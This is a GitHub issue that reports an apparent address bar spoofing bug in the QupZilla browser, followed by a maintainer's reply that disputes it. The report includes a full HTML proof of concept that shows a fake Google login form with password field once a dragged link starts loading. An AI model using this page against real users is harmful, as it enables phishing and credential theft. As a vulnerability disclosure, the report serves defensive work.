Skip to content
This repository has been archived by the owner on May 10, 2018. It is now read-only.

Address bar spoofing #2642

Open
RootUp opened this issue Apr 23, 2018 · 3 comments
Open

Address bar spoofing #2642

RootUp opened this issue Apr 23, 2018 · 3 comments

Comments

@RootUp
Copy link

RootUp commented Apr 23, 2018

Hi Team,

A security issue was observed while performing bulk test-cases on qupzilla browser.

Steps to reproduce the issue:

  1. Open qupzilla
  2. Open spoof.html
  3. Drag the link to address bar.

The Omini bar get spoofed, to https://www.account.google.com/ such attack will help attacker to perform attacks such as phishing.

spoof.html

<body onbeforeunload="dostuff()">
<div id='pg1'>
<a href='https://accounts.google.com:8091/'>Drag me into the address bar!</a>
</div>
<div id='pg2' style="display: none">
<h1>Welcome to Legitimate Google Login Page</h1>
<p>
<span style="width: 20ex; display: inline-block">Login:</span> <input type=text><br>
<span style="width: 20ex; display: inline-block">Password:</span> <input type=password>
<p>
<input type=submit>
</div>

<script>
function dostuff() {
  document.getElementById('pg1').style.display = 'none';
  setTimeout("document.getElementById('pg2').style.display = 'block'", 1000);
}
</script>

Request team, to please have a look.

Thank you!
@nowrep
Copy link
Member

nowrep commented Apr 23, 2018

It doesn't get "spoofed", it actually loads https://accounts.google.com:8091/ and it is indicated by the spinner.

@RootUp
Copy link
Author

RootUp commented Apr 23, 2018

I see, so are we going for a fix for this.

@andr222
Copy link

andr222 commented Apr 24, 2018 via email

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
3 participants
@nowrep @RootUp @andr222